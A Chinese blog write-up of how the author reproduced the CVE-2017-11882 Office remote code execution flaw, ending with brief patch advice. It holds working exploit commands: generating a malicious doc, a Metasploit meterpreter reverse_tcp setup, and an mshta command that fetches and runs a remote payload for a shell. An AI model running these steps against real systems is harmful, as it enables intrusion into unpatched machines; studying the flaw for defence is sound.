码迷,mamicode.com
首页 > 其他好文 > 详细

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

时间:2017-11-22 13:11:22      阅读:219      评论:0      收藏:0      [点我收藏+]

标签:target   and   using   handler   文件的   mod   share   改进   htc   

Preface

  这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下。

  利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了。

  主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了。

技术分享图片

复现过程

国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882

这里我们使用的是Ridter师傅改进过的脚本:https://github.com/Ridter/CVE-2017-11882/

生成漏洞doc文件弹计算器

  生成漏洞doc文件,可以弹出计算器如下:(脚本在Github传送地址)

starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
[*] Done ! output file >> test.doc <<

  用命令生成test.doc后,用Offcie 2013打开这个文件,可以看到在打开doc文件的时候,弹出计算器。

技术分享图片

   除了可以弹计算器外,还能获取shell。

生成漏洞doc文件拿shell

  这里我们参考链接2,使用metasploit,将脚本PS_shell.rb放到metasploit exploit的某个路径下:

  我的kali下的metasploit所在路径是:/usr/share/metasploit-framework, 可以放在如下目录:(这里我们新创建一个new-exps目录存放这个脚本)

root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# pwd
/usr/share/metasploit-framework/modules/exploits/windows/new-exps
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/new-exps# ls
PS_shell.rb

  这样在启动msf时就能直接使用了:

msf > use exploit/windows/new-exps/PS_shell

  漏洞利用过程:

msf > use exploit/windows/new-exps/PS_shell 
msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(PS_shell) > set lhost 192.168.1.102
lhost => 192.168.1.102
msf exploit(PS_shell) > set uripath abc
uripath => abc
msf exploit(PS_shell) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.102:4444 
msf exploit(PS_shell) > [*] Using URL: http://0.0.0.0:8080/abc
[*] Local IP: http://192.168.1.102:8080/abc
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.1.102:8080/abc"

  从上面可以看出,我们要连接到这个地址:http://192.168.1.102:8080/abc

  我们需要用上面那个脚本重新生成这样一个存在漏洞的doc文件:  

starnight:CVE-2017-11882 starnight$ python Command_CVE-2017-11882.py -c "mshta http://192.168.1.102:8080/abc" -o test.doc
[*] Done ! output file >> test.doc <<

  再用Office打开这个doc,就能拿到meterpreter了:

技术分享图片

技术分享图片

  OK, 利用过程就这样吧。(右键在新标签页中打开图片查看更清晰哦)

漏洞修复

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882  更新补丁进行修补
 
(2)开启Windows Update功能,定期对系统进行自动更新

参考

  CVE-2017-11882利用

  CVE-2017-11882的复现、利用技巧以及修复方案

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

标签:target   and   using   handler   文件的   mod   share   改进   htc   

原文地址:http://www.cnblogs.com/Hi-blog/p/7878054.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!